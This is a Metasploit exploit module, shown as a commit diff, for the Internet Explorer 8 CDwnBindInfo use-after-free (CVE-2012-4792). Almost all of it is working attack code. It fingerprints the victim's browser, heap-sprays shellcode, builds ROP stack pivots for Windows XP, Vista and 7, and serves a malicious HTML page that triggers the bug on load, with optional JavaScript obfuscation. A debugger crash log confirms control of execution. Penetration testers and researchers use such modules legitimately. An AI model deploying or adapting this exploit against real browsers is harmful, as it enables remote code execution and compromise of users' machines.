1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability" ,
19
+ 'Description' => %q{
20
+ This module exploits a vulnerability found in Microsoft Internet Explorer. A
21
+ use-after-free condition occurs when a CDwnBindInfo object is freed by
22
+ FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference
23
+ is used again during a page reload, an invalid memory that's controllable is used,
24
+ and allows arbitrary code execution under the context of the user.
25
+
26
+ Please note: This vulnerability has been exploited in the wild targeting
27
+ mainly China/Taiwan/and US-based computers.
28
+ } ,
29
+ 'License' => MSF_LICENSE ,
30
+ 'Author' =>
31
+ [
32
+ 'eromang' ,
33
+ 'mahmud ab rahman' ,
34
+ 'sinn3r' #Metasploit
35
+ ] ,
36
+ 'References' =>
37
+ [
38
+ [ 'CVE' , '2012-4792' ] ,
39
+ [ 'US-CERT-VU' , '154201' ] ,
40
+ [ 'URL' , 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html' ] ,
41
+ [ 'URL' , 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/' ] ,
42
+ [ 'URL' , 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ] ,
43
+ [ 'URL' , 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]
44
+ ] ,
45
+ 'Payload' =>
46
+ {
47
+ 'Space' => 980 ,
48
+ 'DisableNops' => true ,
49
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
50
+ } ,
51
+ 'DefaultOptions' =>
52
+ {
53
+ 'InitialAutoRunScript' => 'migrate -f'
54
+ } ,
55
+ 'Platform' => 'win' ,
56
+ 'Targets' =>
57
+ [
58
+ [ 'Automatic' , { } ] ,
59
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :msvcrt , 'Offset' => '0x586' } ] , # 0x0c0c0b30
60
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x586' } ] , # 0x0c0c0b30
61
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x586' } ] , # 0x0c0c0b30
62
+ ] ,
63
+ 'Privileged' => false ,
64
+ 'DisclosureDate' => "Dec 27 2012" ,
65
+ 'DefaultTarget' => 0 ) )
66
+
67
+ register_options (
68
+ [
69
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
70
+ ] , self . class )
71
+
72
+ end
73
+
74
+ def get_target ( agent )
75
+ #If the user is already specified by the user, we'll just use that
76
+ return target if target . name != 'Automatic'
77
+
78
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
79
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
80
+
81
+ ie_name = "IE #{ ie } "
82
+
83
+ case nt
84
+ when '5.1'
85
+ os_name = 'Windows XP SP3'
86
+ when '6.0'
87
+ os_name = 'Windows Vista'
88
+ when '6.1'
89
+ os_name = 'Windows 7'
90
+ end
91
+
92
+ targets . each do |t |
93
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
94
+ print_status ( "Target selected as: #{ t . name } " )
95
+ return t
96
+ end
97
+ end
98
+
99
+ return nil
100
+ end
101
+
102
+ def ie_heap_spray ( my_target , p )
103
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
104
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
105
+
106
+ # Land the payload at 0x0c0c0b30
107
+ js = %Q|
108
+ var heap_obj = new heapLib.ie(0x20000);
109
+ var code = unescape("#{ js_code } ");
110
+ var nops = unescape("#{ js_nops } ");
111
+ while (nops.length < 0x80000) nops += nops;
112
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
113
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
114
+ while (shellcode.length < 0x40000) shellcode += shellcode;
115
+ var block = shellcode.substring(0, (0x80000-6)/2);
116
+ heap_obj.gc();
117
+ for (var i=1; i < 0x300; i++) {
118
+ heap_obj.alloc(block);
119
+ }
120
+ var overflow = nops.substring(0, 10);
121
+ |
122
+
123
+ js = heaplib ( js , { :noobfu => true } )
124
+
125
+ if datastore [ 'OBFUSCATE' ]
126
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
127
+ js . obfuscate
128
+ end
129
+
130
+ return js
131
+ end
132
+
133
+ def get_payload ( t , cli )
134
+ code = payload . encoded
135
+
136
+ # No rop. Just return the payload.
137
+ return code if t [ 'Rop' ] . nil?
138
+
139
+ =begin
140
+ Stack Pivoting to eax:
141
+ 0:008> db eax
142
+ 0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
143
+ 0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
144
+ =end
145
+ # Both ROP chains generated by mona.py - See corelan.be
146
+ case t [ 'Rop' ]
147
+ when :msvcrt
148
+ print_status ( "Using msvcrt ROP" )
149
+ stack_pivot = [ 0x77c15ed6 ] . pack ( "V" ) * 54 # ret
150
+ stack_pivot << [ 0x77c2362c ] . pack ( "V" ) # pop ebx, #ret
151
+ stack_pivot << [ 0x77c15ed5 ] . pack ( "V" ) # xchg eax,esp # ret # 0x0c0c0c0c
152
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => 'xp' } )
153
+ else
154
+ print_status ( "Using JRE ROP" )
155
+ stack_pivot = [ 0x7c348b06 ] . pack ( "V" ) * 54 # ret
156
+ stack_pivot << [ 0x7c341748 ] . pack ( "V" ) # pop ebx, #ret
157
+ stack_pivot << [ 0x7c348b05 ] . pack ( "V" ) # xchg eax,esp # ret # 0x0c0c0c0c
158
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
159
+ end
160
+
161
+ return rop_payload
162
+ end
163
+
164
+ def load_exploit_html ( my_target , cli )
165
+
166
+ p = get_payload ( my_target , cli )
167
+ js = ie_heap_spray ( my_target , p )
168
+
169
+ html = %Q|
170
+ <!doctype html>
171
+ <html>
172
+ <head>
173
+ <script>
174
+ #{ js }
175
+
176
+ function exploit()
177
+ {
178
+ var e0 = null;
179
+ var e1 = null;
180
+ var e2 = null;
181
+ var arrObject = new Array(3000);
182
+ var elmObject = new Array(500);
183
+ for (var i = 0; i < arrObject.length; i++)
184
+ {
185
+ arrObject[i] = document.createElement('div');
186
+ arrObject[i].className = unescape("ababababababababababababababababababababa");
187
+ }
188
+
189
+ for (var i = 0; i < arrObject.length; i += 2)
190
+ {
191
+ arrObject[i].className = null;
192
+ }
193
+
194
+ CollectGarbage();
195
+
196
+ for (var i = 0; i < elmObject.length; i ++)
197
+ {
198
+ elmObject[i] = document.createElement('button');
199
+ }
200
+
201
+ for (var i = 1; i < arrObject.length; i += 2)
202
+ {
203
+ arrObject[i].className = null;
204
+ }
205
+
206
+ CollectGarbage();
207
+
208
+ try {
209
+ e0 = document.getElementById("a");
210
+ e1 = document.getElementById("b");
211
+ e2 = document.createElement("q");
212
+ e1.applyElement(e2);
213
+ e1.appendChild(document.createElement('button'));
214
+ e1.applyElement(e0);
215
+ e2.outerText = "";
216
+ e2.appendChild(document.createElement('body'));
217
+ } catch(e) { }
218
+ CollectGarbage();
219
+ for(var i =0; i < 20; i++)
220
+ {
221
+ arrObject[i].className = unescape("ababababababababababababababababababababa");
222
+ }
223
+ var eip = window;
224
+ var data = "https://www.google.com/settings/account";
225
+ eip.location = unescape("%u0b30%u0c0c" + data);
226
+
227
+ }
228
+
229
+ </script>
230
+ </head>
231
+ <body onload="eval(exploit())">
232
+ <form id="a">
233
+ </form>
234
+ <dfn id="b">
235
+ </dfn>
236
+ </body>
237
+ </html>
238
+ |
239
+
240
+ return html
241
+ end
242
+
243
+ def on_request_uri ( cli , request )
244
+ agent = request . headers [ 'User-Agent' ]
245
+ uri = request . uri
246
+ print_status ( "Requesting: #{ uri } " )
247
+
248
+ my_target = get_target ( agent )
249
+ # Avoid the attack if no suitable target found
250
+ if my_target . nil?
251
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
252
+ send_not_found ( cli )
253
+ return
254
+ end
255
+
256
+ html = load_exploit_html ( my_target , cli )
257
+ html = html . gsub ( /^\t \t / , '' )
258
+ print_status ( "Sending HTML..." )
259
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
260
+ end
261
+
262
+ end
263
+
264
+
265
+ =begin
266
+ (87c.f40): Access violation - code c0000005 (first chance)
267
+ First chance exceptions are reported before any exception handling.
268
+ This exception may be expected and handled.
269
+ eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
270
+ eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
271
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
272
+ mshtml!CMarkup::OnLoadStatusDone+0x504:
273
+ 637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
274
+ 0:008> k
275
+ ChildEBP RetAddr
276
+ 020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
277
+ 020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
278
+ 020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
279
+ 020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
280
+ 020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
281
+ 020bfd78 7e418734 mshtml!GlobalWndProc+0x183
282
+ 020bfda4 7e418816 USER32!InternalCallWinProc+0x28
283
+ 020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
284
+ 020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
285
+ 020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
286
+ 020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
287
+ 020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
288
+ 020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
289
+ 020bffec 00000000 kernel32!BaseThreadStart+0x37
290
+
291
+ 0:008> r
292
+ eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
293
+ eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
294
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
295
+ mshtml!CMarkup::OnLoadStatusDone+0x504:
296
+ 637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
297
+
298
+ =end
0 commit comments